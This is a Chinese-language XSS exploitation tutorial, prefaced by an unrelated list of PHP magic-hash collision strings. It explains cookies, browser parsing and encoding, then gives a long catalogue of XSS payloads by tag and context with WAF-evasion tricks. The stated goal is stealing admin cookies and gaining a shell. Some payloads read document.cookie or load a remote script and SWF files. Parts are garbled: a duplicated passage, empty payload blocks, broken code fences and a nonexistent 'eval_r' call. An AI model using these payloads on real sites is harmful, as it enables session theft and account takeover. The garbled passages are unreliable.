0e342768416822451524974117254469
  
s1665632922a
0e731198061491163073197128363787
  
s155964671a
0e342768416822451524974117254469
  
s1091221200a
0e940624217856561557816327384675
  
s1836677006a
0e481036490867661113260034900752
  
s1885207154a
0e509367213418206700842008763514
  
s532378020a
0e220463095855511507588041205815
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s214587387a
0e848240448830537924465865611904
  
s1502113478a
0e861580163291561247404381396064
  
s1091221200a
0e940624217856561557816327384675
  
s1665632922a
0e731198061491163073197128363787
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s1665632922a
0e731198061491163073197128363787
  
s878926199a
0e545993274517709034328855841020

3.七、XSS漏洞挖掘與利用

一、漏洞危害

  • 獲取管理員Cookie,登陸後臺
  • 獲取後臺地址
  • 用戶信息竊取
  • Getshell

二、基礎知識

  • XSS漏洞挖掘與利用

1)Cookie的工做方式

XSS漏洞的主流利用方式是獲取用戶的Cookie執行一系列的操做。

Cookie的基本通訊流程:

1.設置cookie
2.cookie被自動添加到request header中
3.服務端接收到cookie

須要理解的問題:

1.什麼樣的數據適合放在cookie中

對於設置「每次請求都要攜帶的信息(身份認證信息)」特別適合存放在cookie中。

2.cookie是怎麼設置的

每一個cookie都有必定的屬性,如何時失效,要發送到哪一個域名,哪一個路徑等等。這些屬性是經過cookie選項來設置的,cookie選項包括:expires、domain、path、secure、HttpOnly。在設置任一個cookie時均可以設置相關的這些屬性。代碼示例以下:

"SESSIONID=e6f5cad435dc6a;expires=Thu,27Feb201705:21:00GMT;domain=www.xxx.com;path=/;secure;HttpOnly

3.cookie爲何會自動加到request hearder中

存儲cookie是瀏覽器提供的功能,cookie是存儲在瀏覽器中的純文本。當網頁要發HTTP請求時,瀏覽器會先檢查是否有相應的cookie,有則自動添加到request hearder中的cookie字段中。這是瀏覽器自動作的。

4.cookie怎麼增刪改查

cookie既能夠由服務端來設置,也能夠由客戶端來設置。

cookie選項包括:expires、domain、path、secure、HttpOnly。

expires選項用來設置「cookie什麼時間內有效」。expires實際上是cookie失效日期,對於失效的cookie瀏覽器會清空。若是沒有設置該選項,則默認有效期爲session,即會話cookie。這種cookie在瀏覽器關閉後就沒有了。

secure選項用來設置cookie只在確保安全的請求中才會發送。當請求是HTTPS或者其餘安全協議時,包含secure選項的cookie才能被髮送至服務器。

HttpOnly用來設置cookie是否能經過js去訪問。

默認狀況下,客戶端是能夠經過js代碼去訪問(包括讀取、修改、刪除等)這個cookie的。當cookie帶httpOnly選項時,客戶端則沒法經過js代碼去訪問(包括讀取、修改、刪除等)

2)瀏覽器的解析方式

語言的解析通常分爲詞法分析(lexical analysis)和語法分析(Syntax analysis)兩個階段,WebKit中的html解析也不例外,本文主要討論詞法分析。

詞法分析的任務是對輸入字節流進行逐字掃描,根據構詞規則識別單詞和符號,分詞。

在WebKit中,有兩個類,同詞法分析密切相關,它是HTMLToken和HTMLTokenizer類,能夠簡單將HTMLToken類理解爲標記,HTMLTokenizer類理解爲詞法解析器。HTML詞法解析的任務,就是將輸入的字節流解析成一個個的標記(HTMLToken),而後由語法解析器進行下一步的分析。

在XML/HTML的文檔解析中,token這個詞常常用到,我將其理解爲一個有完整語義的單元(也就是分出來的「詞」),一個元素一般對應於3個token,一個是元素的起始標籤,一個是元素的結束標籤,一個是元素的內容,這點同DOM樹是不同的,在DOM樹上,起始標籤和結束標籤對應於一個元素節點,而元素內容對應另外一個節點。

除了起始標籤(StartTag)、結束標籤(EndTag)和元素內容(Character),HTML標籤還有DOCTYPE(文檔類型),Comment(註釋),Uninitialized(默認類型)和EndOfFile(文檔結束)等類型,參見HTMLToken.h中的Type枚舉。

http://hi.csdn.net/attachment/201011/9/0_1289298004iCWw.gif

標記的組成:類型,在字節流中的偏移,數據(m_data,不一樣的類型具備不一樣的意義),文檔類型,是否自封閉(對於開始和結束標籤),屬性列表,當前屬性。

HTMLTokenizer就是要從字節流解析出一個個這樣的結構體來,他的實現是基於狀態機來作的。狀態機模型在<http://www.w3.org/TR/html5/tokenization.html#tokenization>中已經明肯定義,nextToken方法實現了該狀態機。

以一個簡單的html文檔來複盤狀態機的幾條路線。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<!--comment -->

<html>

<body>

<a href=」w3c.org」>w3c</a>

</body>

</html>

在HTML中,某些字符是預留的。例如在HTML中不能使用「<」或「>」,這是由於瀏覽器可能誤認爲它們是標籤的開始或結束。若是但願正確地顯示預留字符,就須要在HTML中使用對應的字符實體。一個HTML字符實體描述以下:

字符顯示 描述 實體名稱 實體編號
< 小於號 &lt &#60;

字符引用包括「字符值引用」和「字符實體引用」。在上述HTML例子中,'<'對應的字符值引用爲'<',對應的字符實體引用爲‘<’。字符實體引用也被叫作「實體引用」或「實體」。)

不考慮相似<html><body>之間的回車換行(webkit裏面有作特殊處理,也就是所謂的「authoring convenience」,m_skipLeadingNewLineForListing),從前面的描述中,咱們能夠確認,該文檔有9個HTMLToken,分別是文檔類型聲明,註釋,html的起始標籤,body的起始標籤,a的起始標籤,a的元素內容,a的介紹標籤,body的結束標籤,html的結束標籤。

起始狀態爲DataState。

1)DOCTYPE

DataState:<!DOCTYPE,碰到’<’,進入TagOpenState

TagOpenState:<!DOCTYPE, 碰到’!’,進入MarkupDeclarationOpenState狀態

MarkupDeclarationOpenState:<!DOCTYPE,碰到’D’,匹配DOCTYPE和--字數都不夠,保持現狀

MarkupDeclarationOpenState:<!DOCTYPE,匹配doctype,進入DOCTYPEState狀態(HTMLToken的type爲DOCTYPE)

DOCTYPEState: <!DOCTYPE html PUBL,碰到空格,進入BeforeDOCTYPENameState狀態

BeforeDOCTYPENameState: <!DOCTYPE html PUBL,碰到’h’,進入DOCTYPENameState

DOCTYPENameState: <!DOCTYPE html PUBL,碰到’t’,保持原狀態,提取html做爲文檔類型

DOCTYPENameState: <!DOCTYPE html PUBL,碰到空格,進入AfterDOCTYPENameState狀態。(HTMLToken的m_data爲html)

AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,碰到’P’,還未能匹配Public或者system,保持狀態

AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,匹配public,進入AfterDOCTYPEPublicKeywordState

AfterDOCTYPEPublicKeywordState:<!DOCTYPE html PUBLIC "-/,碰到空格,進入BeforeDOCTYPEPublicIdentifierState

BeforeDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/,碰到’」’,進入DOCTYPEPublicIdentifierDoubleQuotedState

DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/,碰到’-‘,保持狀態,提取m_publicIdentifier

DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/…nal//EN">,碰到’」’,進入AfterDOCTYPEPublicIdentifierState狀態。(HTMLToken的m_publicIdentifier肯定)

AfterDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/…nal//EN"> ,碰到’>’,進入DataState狀態,完成文檔類型的解析

2)COMMENT

DataState:<!--comment -->,碰到’<’,進入TagOpenState

TagOpenState:<!--comment -->, 碰到’!’,進入MarkupDeclarationOpenState狀態

MarkupDeclarationOpenState:<!--comment -->,碰到’-’,匹配DOCTYPE和--字數都不夠,保持現狀

MarkupDeclarationOpenState:<!--comment -->,匹配--,進入CommentStartState狀態(HTMLToken的type爲COMMENT)

CommentStartState: <!--comment -->,碰到’c’,進入CommentState

CommentState:<!--comment -->,碰到’-‘,進入CommentEndDashState狀態(HTMLToken的m_data爲comment)

CommentEndDashState: <!--comment -->,碰到’-‘,進入CommentEndState狀態

CommentEndState:<!--comment -->,碰到’>‘,進入DataState狀態,完成解析。

3)起始標籤a

DataState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到’<’,進入TagOpenState狀態

TagOpenState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到’a’,進入TagNameState狀態(HTMLToken的type爲StartTag)

TagNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到空格,進入BeforeAttributeNameState狀態(HTMLToken的m_data爲a)

BeforeAttributeNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘h’,進入AttributeNameState狀態

AttributeNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘=’,進入BeforeAttributeValueState狀態(HTMLToken屬性列表中加入一個屬性,屬性名爲href)

BeforeAttributeValueState: <a href=[」w3c.org](http://www.w3c.org/)">,碰到‘「’,進入AttributeValueDoubleQuotedState狀態

AttributeValueDoubleQuotedState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘w’,保持狀態,提取屬性值

AttributeValueDoubleQuotedState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘「’,進入AfterAttributeValueQuotedState(HTMLToken當前屬性的值爲w3c.org).

AfterAttributeValueQuotedState: <a href=[」w3c.org](http://www.w3c.org/)">,碰到‘>’,進入DataState,完成解析。

在完成startTag的解析的時候,會在解析器中存儲與之匹配的end標籤(m_appropriateEndTagName),等到解析end標籤的時候,會同它進行匹配(語法解析的時候)。

html,body起始標籤相似a起始標籤,但沒有屬性解析

4) a元素

DataState:w3c</a>,碰到’w’,維持原狀態,提取元素內容(HTMLToken的type爲character)。

DataState:w3c</a>,碰到’<’,完成解析,不consume ’<’。(HTMLToken的m_data爲w3c)。

5)a結束標籤

DataState:w3c</a>,碰到’<’,進入TagOpenState。

TagOpenState:w3c</a>,碰到’/’,進入到EndTagOpenState。(HTMLToken的type爲endTag)。

EndTagOpenState:w3c</a>,碰到’a’,進入到TagNameState。

TagNameState:w3c</a>,碰到’>’,進入到DataState,完成解析。

經過以上的覆盤,一個標記的token過程清晰呈如今眼前,基本上就是實現http://www.w3.org/TR/html5/tokenization.html這一章的一個過程,html的規範是至關寬鬆的,因此詞法解析要考慮到的問題不少,html5specfication在這方面爲實現者作了絕大部分工做。另外,html的語法解析會影響詞法解析,好比語法解析在解析到head裏面title的起始標籤後,會將htmltokenizer解析器的狀態設置爲RCDATAState。

一個HTML解析器做爲一個狀態機,它從輸入流中獲取字符並按照轉換規則轉換到另外一種狀態。在解析過程當中,瀏覽器處於Datastate狀態時,只要遇到一個'<'符號(後面沒有跟'/'符號)就會進入「標籤開始狀態(Tagopenstate)」。而後轉變到「標籤名狀態(Tagnamestate)」,「前屬性名狀態(beforeattributenamestate)」......最後進入「數據狀態(Datastate)」並釋放當前標籤的token。當解析器處於「數據狀態(Datastate)」時,它會繼續解析,每當發現一個完整的標籤,就會釋放出一個token。

這裏有三種狀況能夠容納字符實體,「數據狀態中的字符引用」,「RCDATA狀態中的字符引用」和「屬性值狀態中的字符引用」。在這些狀態中HTML字符實體將會從「&#...」形式解碼,對應的解碼字符會被放入數據緩衝區中。例如,在問題4中,「<」和「>」字符被編碼爲「<」和「>」。當解析器解析完「<div>」並處於「數據狀態」時,這兩個字符將會被解析。當解析器遇到「&」字符,它會知道這是「數據狀態的字符引用」,所以會消耗一個字符引用(例如「<」)並釋放出對應字符的token。在這個例子中,對應字符指的是「<」和「>」。你們可能會想:這是否是意味着「<」和「>」的token將會被理解爲標籤的開始和結束,而後其中的腳本會被執行?答案是腳本並不會被執行。緣由是解析器在解析這個字符引用後不會轉換到「標籤開始狀態」。正由於如此,就不會創建新標籤。所以,咱們可以利用字符實體編碼這個行爲來轉義用戶輸入的數據從而確保用戶輸入的數據只能被解析成「數據」。

在HTML中有五類元素:

1.空元素(Voidelements),如<area>,<br>,<base>等等
2.原始文本元素(Rawtextelements),有<script>和<style>
3.RCDATA元素(RCDATAelements),有<textarea>和<title>
4.外部元素(Foreignelements),例如MathML命名空間或者SVG命名空間的元素
5.基本元素(Normalelements),即除了以上4種元素之外的元素

五類元素的區別以下:

1.空元素,不能容納任何內容(由於它們沒有閉合標籤,沒有內容可以放在開始標籤和閉合標籤中間)。

2.原始文本元素,能夠容納文本。

3.RCDATA元素,能夠容納文本和字符引用。(&#60)

4.外部元素,能夠容納文本、字符引用、CDATA段、其餘元素和註釋

5.基本元素,能夠容納文本、字符引用、其餘元素和註釋

2.原始文本元素(Rawtextelements),有<script><style>3.RCDATA元素(RCDATAelements),有<textarea><title>4.外部元素(Foreignelements),例如MathML命名空間或者SVG命名空間的元素。

5.基本元素(Normalelements),即除了以上4種元素之外的元素

HTML解析器的規則,其中有一種能夠容納字符引用的狀況是「RCDATA狀態中的字符引用」。這意味着在<textarea><title>標籤中的字符引用會被HTML解析器解碼。

這裏要再提醒一次,在解析這些字符引用的過程當中不會進入「標籤開始狀態」。對RCDATA有個特殊的狀況。在瀏覽器解析RCDATA元素的過程當中,解析器會進入「RCDATA狀態」。

在這個狀態中,若是遇到「<」字符,它會轉換到「RCDATA小於號狀態」。若是「<」字符後沒有緊跟着「/」和對應的標籤名,解析器會轉換回「RCDATA狀態」。這意味着在RCDATA元素標籤的內容中(例如<textarea><title>的內容中),惟一可以被解析器認作是標籤的就是「</textarea>」或者「</title>」。這要看開始標籤是哪個。在「<textarea>」「<title>」的內容中不會建立標籤,就不會有腳本可以執行。

3)編碼知識

  • 瀏覽器解析規則

    • URL編碼:

      一個百分號和該字符的ASCII編碼所對應的2位十六進制數字,例如「/」的URL編碼爲%2F(通常大寫,但不強求)

      HTML實體編碼:

      • 命名實體:以&開頭,分號結尾的,例如「<」的編碼是「<」
      • 字符編碼:十進制、十六進制ASCII碼或unicode字符編碼,樣式爲「&#數值;」,例如「<」能夠編碼爲「<」和「<」

JS編碼:js提供了四種字符編碼的策略

一、三個八進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\145」
二、兩個十六進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\x65」
三、四個十六進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\u0065」
四、對於一些控制字符,使用特殊的C類型的轉義風格(例如\n和\r)
五、jsfuck編碼

CSS編碼:用一個反斜線()後面跟1~6位的十六進制數字,例如e能夠編碼爲「\65」或「65」或「00065」

HTML解析器能識別在文本節點和參數值裏的實體編碼,並在內存裏建立文檔樹的表現形式時,透明的對這些編碼進行解碼

瀏覽器的解析規則:瀏覽器收到HTML內容後,會從頭開始解析。當遇到JS代碼時,會使用JS解析器解析。當遇到URL時,會使用URL解析器解析。遇到CSS則用CSS解析器解析。尤爲當遇到複雜代碼時,可能該段代碼會通過多個解析器解析。

好比:<a href="javascript:window.open('http://www.baidu.com')">test</a>

這段代碼,HTML解析器首先工做(注:此時,若href=」字符串」中的字符串存在字符引用,會對其解碼)。而後URL解析器開始對href值進行URL解析。進行URL解析時,URL資源類型必須是ASCII字母(U+0041-U+005A || U+0061-U+007A),否則就會進入「無類型」狀態。即,javascript:是不能進行任何js編碼的。解析了javascript:以後,會由JS解析器進行解析。JS解析器針對一些編碼,其只有在標誌符名稱裏的編碼字符纔可以被正常的解析。解析完window.open之後,又會由URL解析器進行解析。想了解各解析器的特性,可參考這篇文章深刻理解瀏覽器解析機制和XSS向量編碼

JS解析器不會解析和解碼字符引用,而針對JS的一些編碼其會視狀況而定。

能夠看到,該代碼通過了HTML->URL->JS->URL 四重解析。因爲不一樣的解析器可以分別對一些編碼格式進行解析,因此咱們能夠經過生成特定格式的編碼代碼,令其在依次解碼後可以正確執行,從而繞過WAF。

如:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">test</a>

該代碼可以正確執行。

首先,通過HTML解析以後,代碼會變成

<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>

此時,因爲javascript已經生成,不違反URL解析規則。因此,URL解析正常。解析了javascript,最終進入JS解析器。注意,URL解析器還完成了URL解碼工做。

<a href="javascript:alert(2)">test</a>

因此,JS最終解析的代碼時alert(2).成功執行。

總結來講,各類編碼在XSS中的利用很是靈活,咱們須要在充分了解瀏覽器的解析原理合理構造合理編碼順序的代碼,最終構造出Payload。

  • XSS分類介紹

1)反射性XSS

惡意代碼一般存在於URL中須要用戶去點擊相應的連接纔會觸發,隱蔽性較差並且,並且可能會被瀏覽器的XSSFilter幹掉

流程:輸入--輸出

2)存儲型XSS

惡意代碼一般存在於數據庫中用戶瀏覽被植入payload的「正常頁面」時便可觸發,隱蔽性較強,成功率高,穩定性好。

流程:輸入--進入數據庫--取出數據庫--輸出

三、測試方法

常規測試的Payload可使用https://xss.haozi.me/#/0x01測試

  • 0x00

輸出位置可使用標籤

<script>alert(1)</script>
  • 0x01
    閉合前面的標籤,以後建立新的<script>標籤
</textarea><script>alert(1)</script>
  • 0x02
    在屬性值內的狀況,用">閉合前面的input標籤,以後建立新的<script>標籤
"><script>alert(1)</script>
  • 0x03
    利用事件屬性,<img src=x onerror=alert&#40;1&#41;>

src報錯,出發onerror事件。

<img src=x onerror=alert&#40;1&#41;>
  • 0x04
    使用DATA URI Scheme和實體繞過
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<iframe srcdoc="<script>alert&#x28;1&#x29;</script>"></iframe>
  • 0x05
    註釋符閉合繞過
--!><script>alert(1)</script>
  • 0x0 6
    換行符繞過,具體應該是%0A
type=image src=1 onerror
=alert(1)
  • 0x07
    DOM事件,換行繞過。
<svg onload=alert(1)
  • 0x08
    匹配單標籤截斷繞過
</style ><script>alert(1)</script>
  • 0x0D
    換行繞過+註釋繞過
alert(1)
-->
  • 0x0F
');alert('1
  • 0x10
    實體繞過
123;alert(1)
  • 0x11
    引號閉合
");alert("1
  • 0x12
    標籤截斷
\");alert(1)//

四、測試總結

  • 測試waf繞過

    簡單: "'<script javascript onload src><a href></a>#$%^ 
    全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>

    觀察輸入輸出狀況,一些特殊字符是否被編碼、標籤是否被過濾、輸出點在標籤之間或標籤以內。

  • 輸出位置進行XSS

    • 標籤之間
    模型: <div>[xss]</div> 
    payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)> 
    這些標籤有:
    <a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset>  <embed> <svg> <video> <audio>
    
    自帶HtmlEncode(轉義)功能的標籤(RCDATA),這是插入的javascript不會被執行,除非閉合掉它們。
    <textarea></textarea> 
    <title></title> 
    <iframe></iframe> 
    <noscript></noscript> 
    <noframes></noframes> 
    <xmp></xmp> 
    <plaintext></plaintext> 
    其餘:<math></math>
    • 在JS標籤內:

    在該位置,空格被過濾,可用/**/代替空格。輸出在註釋中,經過換行符%0a %0d使其逃逸出來。

    ​ 1.不在字符串內。

    ​ 判斷<>/是否被過濾。若是沒有,那麼直接插入就能夠。

    ```

    payload:


    ​ ```

    ​ 2.在字符串中

    ​ 此時須要閉合字符串,並保證插入的JS代碼符合語法規範。

    ​ 如:

    <script>
    Var x="Input";
    </script>
    
    payload:
    
    input是輸出點,咱們首先要閉合雙引號,才能保證XSS成功。若是咱們沒法閉合包括字符串的引號(引號被轉義),就很難利用。

    除非存在兩個輸出點或寬字節,在引號被轉義成"時有效。在網頁爲GBK編碼時,存在寬字節問題。

    反斜線復仇記 利用點
    https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html 兩個輸入點
    那些年咱們一塊兒學XSS【寬字節復仇記】
    https://wizardforcel.gitbooks.io/xss-naxienian/content/3.html 寬字節
    • 輸出在HTML屬性內

1.文本屬性中

例如:`<input value="輸出">` 、 `<img onload="...[輸出]...">` ,再好比 `<body style="...[輸出]...">`

  - 無引號包裹,直接添加新的事件屬性。
  - 有引號包括。首先測試引號是否可用,可用則閉合屬性以後添加新的事件屬性。

HTML的屬性,若是被進行HTML實體編碼(形如'&#x27),那麼HTML會對其進行自動解碼,從而咱們能夠在屬性裏以HTML實體編碼的方式引入任意字符,從而方便咱們在事件屬性裏以JS的方式構造payload。固然,也能夠閉合屬性後,而後再執行腳本。

2.src/href/action/xlink:href/autofocus/content/data等屬性直接使用僞協議繞過。

```
javascript 僞協議: <a href=javascript:alert(2)>test</a> 

data 協議執行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被攔截,Firefox能夠) 

urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(測試未經過)

不使用 href 的另一種組合來執行 
js: <svg><a xlink:href="javascript:alert(14)">
     <rect width="1000" height="1000" fill="white"/>
     </a></svg>(都可) 
     或者: 
  <math>
      <a xlink:href=javascript:alert(1)>1</a>
      </math>(Chrome不可,Firefox能夠)
```

若是不行,則測試添加事件進行觸發。(首先仍是須要閉合)如:
<a href="test.com" onmouseover=alert(1)>ClickHere</a>

3.on*事件

插入合乎邏輯的JS代碼便可。也可使用僞協議。

常見事件

onload 
onclick
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

4.style屬性內及css代碼之中IE可執行,而且在IE6以上被防護,不適合其餘瀏覽器,基本已死。

style="width:expression(js代碼)"
background-image:url('javascript:alert(2)')

輸出在meta標籤

<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
  • 具體標籤的Payload

1.a標籤

  • javascript僞協議:
<a href=javascript:alert(2)>
  • data協議執行javascript:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
  • urlencode版本:
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
  • 不使用href的另一種組合來執行js:
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
或者
<math><a xlink:href=javascript:alert(1)></math>

2.script標籤

  • 最簡單的測試payload:

    <script>alert(1)</script>
  • jsfuck版本:

http://www.jsfuck.com/

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
  • 各類編碼版本:

    <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
    
    <script>prompt(-[])</script>//不僅是alert。prompt和confirm也能夠彈窗 
    
    <script>alert(/3/)</script>//能夠用"/"來代替單引號和雙引號 
    
    <script>alert(String.fromCharCode(49))</script> //咱們還能夠用char
    
    <script>alert(/7/.source)</script> // ".source"不會影響alert(7)的執行
    
    <script>setTimeout('alert(1)',0)</script> //若是輸出是在setTimeout裏,咱們依然能夠直接執行alert(1)

3.button標籤

  • event事件實現js調用:

    <button/onclick=alert(1) >M</button>
  • html5的新姿式:

須要交互的版本:

<form><button formaction=javascript&colon;alert(1)>M

不須要交互的版本:

<button onfocus=alert(1) autofocus>

4.p標籤

  • 若是發現變量輸出在p標籤中,只要能跳出""就足夠了:
<p/onmouseover=javascript:alert(1); >M</p>

5.img標籤

有些姿式是由於瀏覽器的不一樣而不能成功執行的。

  • chrome下有效:
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效

<img/src/onerror=alert(1)>  //只在chrome下有效
  • 其餘:
<img src=x onerror=alert(1)> 

<img src="x:kcf" onerror="alert(1)">

6.body標籤

經過event事件來調用js

<body onload=alert(1)> 
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

7.var標籤

<var onmouseover="prompt(1)">M</var>

8.div標籤

<div/onmouseover='alert(1)'>X

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">

9.iframe標籤

有時候咱們能夠經過實體編碼、換行和Tab字符來bypass。咱們還能夠經過事先在swf文件中插入咱們的xss code,而後經過src屬性來調用。不過關於flash,只有在crossdomain.xml文件中,allow-access-from domain=」*「容許從外部調用swf時,才能夠經過flash來事先xss attack。

下面的&Tab;爲tab字符

<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 

<iframe SRC="http://0x.lv/xss.swf"></iframe> 

<IFRAME SRC="javascript:alert(1);"></IFRAME> 

<iframe/onload=alert(1)></iframe>

10.meta標籤

測試時發現暱稱,文章標題跑到meta標籤中,那麼只須要跳出當前屬性再添加http-equiv="refresh",就能夠構造一個有效地xss payload。還有一些猥瑣的思路,就是經過給http-equiv設置set-cookie,進一步從新設置cookie來幹一些猥瑣的事情。

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  
  <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
    • object標籤

和a標籤的href屬性的玩法是同樣的,優勢是無需交互。

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
    • marquee標籤
<marquee onstart="alert('1')"></marquee>
    • isindex標籤

在一些只針對屬性作了過濾的webapp中,action頗有多是漏網之魚。

<isindex type=image src=1 onerror=alert(1)> 

<isindex action=javascript:alert(1) type=image>
    • input標籤

經過event來調用js。和button同樣經過autofocus能夠達到無需交互便可彈窗的效果。

<input onfocus=javascript:alert(1) autofocus> 

<input onblur=javascript:alert(1) autofocus><input autofocus>
    • select標籤
<select onfocus=javascript:alert(1) autofocus>
    • textarea標籤
<textarea onfocus=javascript:alert(1) autofocus>
    • keygen標籤
<keygen onfocus=javascript:alert(1) autofocus>
    • frameset標籤
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
    • embed標籤
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 

<embed src=javascript:alert(1)> //firefox
    • svg標籤
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
    • math標籤
<math href="javascript:javascript:alert(1)">CLICKME</math> 

<math><y/xlink:href=javascript:alert(51)>test1 

<math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
    • video標籤
<video><source onerror="alert(1)"> 

<video src=x onerror=alert(48)>
    • audio標籤
<audio src=x onerror=alert(47)>
    • background屬性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
    • poster屬性
<video poster=javascript:alert(1)//></video> // Opera 10.5如下有效
    • code屬性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
    • expression屬性
<img style="xss:expression(alert(0))"> // IE7如下

<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7如下

<style>#test{x:expression(alert(/XSS/))}</style> // IE7如下
  • 過WAF技巧

    • 單次過濾規則繞過:有些規則僅進行一次過濾替換,能夠經過雙重複寫繞過<scr<script>ipt>
    • 大小寫繞過:<sCript>
    • alert被過濾,能夠嘗試prompt和confirm
    • 沒有引號和分號:<IMG SRC=javascript:alert('XSS')>
    • 空格被過濾:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
    • 反引號妙用:
    • 長度限制時: <q/oncut=alert(1)>//在限制長度的地方頗有效
    • 單引號及雙引號被過濾狀況: <script>alert(/jdq/)</script> //用雙引號會把引號內的內容單獨做爲內容 用斜槓,則會連斜槓一塊兒回顯
    • javascript僞協議
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架標籤
    • 畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
    • /的妙用:<script>alert(/3/)</script>
    • 括號被過濾,可使用throw來拋出數據
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>

<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上兩個測試向量在 Chrome 和 IE 上會出現一個 「uncaught」 錯誤,能夠用下面的向量代替(下面向量在FireFox上測試失敗)

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
    • 當=();:被過濾時:<svg><script>alert&#40/1/&#41</script>opera 中能夠不閉合 <svg><script>alert&#40 1&#41 // Opera可查
    • 過濾某些關鍵字(如:javascript) 能夠在屬性中的引號內容中使用空字符、空格、TAB換行、註釋、特殊的函數,將代碼行隔開。
    • 好比在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>時,能夠用回車、Tab鍵將src中的內容隔開,回車的url編碼爲%0a,%0b;
    • 拼湊法:① 雙寫繞過;② 使用js定義變量z=scri, z+pt=script; ③ 兩處輸出點<scri<!-- 第二處-->pt>;
    • 沒法使用href:
<a onmouseover="alert(document.cookie)">xxs link</a>
在chrome下,其回補全缺失的引號。所以,也能夠這樣寫:
<a onmouseover=alert(document.cookie)>xxs link</a>
    • 解決限制字符(要求同頁面)
<script>z=’document.’</script> 
<script>z=z+’write(「‘</script> 
<script>z=z+’<script’</script> 
<script>z=z+’ src=ht’</script> 
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script> 
<script>z=z+’.net/1.’</script> 
<script>z=z+’js></sc’</script>
<script>z=z+’ript>」)’</script> 
<script>eval_r(z)</script>
    • 編碼
